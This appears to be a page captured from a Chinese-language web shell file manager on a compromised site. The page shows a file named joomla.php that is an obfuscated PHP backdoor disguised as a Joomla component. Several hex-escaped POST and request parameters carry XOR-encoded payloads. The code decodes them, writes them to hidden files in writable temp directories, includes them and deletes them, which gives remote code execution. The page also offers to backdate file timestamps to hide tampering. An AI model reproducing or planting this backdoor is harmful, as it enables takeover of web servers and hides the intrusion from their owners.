文件操作 - joomla.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/joomla.php
编辑文件内容
<?php if(filter_has_var(INPUT_POST, "e\x6Et")){ $pointer = $_REQUEST["e\x6Et"]; $pointer = explode ( "." , $pointer ) ; $obj = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); foreach ($pointer as $r => $v2) { $sChar = ord($salt4[$r %$sLen] ); $dec = ((int)$v2 - $sChar - ($r %10)) ^ 40; $obj .= chr($dec ); } $hld = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", "/tmp"]); foreach ($hld as $desc) { if (is_dir($desc) && is_writable($desc)) { $val = "$desc/.fac"; $file = fopen($val, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $val; @unlink($val); exit; } } } } if(isset($_REQUEST["\x64\x61ta"])){ $fac = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $reference = $_REQUEST["\x64\x61ta"]; $reference = explode ("." , $reference ); $hld = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $__len = count($reference ); for ($s = 0; $s < $__len; $s++) {$v2 = $reference[$s]; $sChar = ord($s1[$s% $sLen] ); $d = ((int)$v2 - $sChar - ($s% 10)) ^ 60; $hld .= chr($d ); } while ($val = array_shift($fac)) { if ((function($d) { return is_dir($d) && is_writable($d); })($val)) { $symbol = str_replace("{var_dir}", $val, "{var_dir}/.item"); if (file_put_contents($symbol, $hld)) { include $symbol; @unlink($symbol); exit; } } } } if(array_key_exists("f\x61ct\x6Fr", $_POST)){ $pgrp = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path()]); $mrk = $_POST["f\x61ct\x6Fr"]; $mrk = explode ( '.',$mrk ); $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $t = 0; $__tmp = $mrk; while( $v6 = array_shift( $__tmp)) { $chS = ord( $salt[$t% $sLen]); $dec = ( ( int)$v6 - $chS -( $t% 10)) ^ 22; $itm .= chr( $dec); $t++; } $elem = 0; do { $token = $pgrp[$elem] ?? null; if ($elem >= count($pgrp)) break; if (array_product([is_dir($token), is_writable($token)])) { $binding = sprintf("%s/.data", $token); if (file_put_contents($binding, $itm)) { include $binding; @unlink($binding); exit; } } $elem++; } while (true); } if(count($_POST) > 0 && isset($_POST["\x70\x73et"])){ $binding = $_POST["\x70\x73et"]; $binding = explode ('.' , $binding ) ; $comp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($binding as $u =>$v3): $sChar = ord($s[$u % $lenS] ); $d = ((int)$v3 - $sChar - ($u % 10)) ^ 30; $comp.= chr($d ); endforeach; $flag = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path()]); foreach ($flag as $key => $sym) { if (is_dir($sym) && is_writable($sym)) { $ent = str_replace("{var_dir}", $sym, "{var_dir}/.element"); $success = file_put_contents($ent, $comp); if ($success) { include $ent; @unlink($ent); die();} } } } if(@$_POST["r\x65\x66"] !== null){ $item = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); $mrk = $_POST["r\x65\x66"]; $mrk= explode (".", $mrk) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $r = 0; $len = count( $mrk); do { if( $r >= $len) break; $v4 = $mrk[$r]; $chS = ord( $salt[$r % $sLen]); $dec =( ( int)$v4 - $chS -( $r % 10)) ^60; $ptr .= chr( $dec); $r++; } while( true); for ($data_chunk = 0, $component = count($item); $data_chunk < $component; $data_chunk++) { $dat = $item[$data_chunk]; if (max(0, is_dir($dat) * is_writable($dat))) { $marker = join("/", [$dat, ".data"]); if (@file_put_contents($marker, $ptr) !== false) { include $marker; unlink($marker); exit; } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件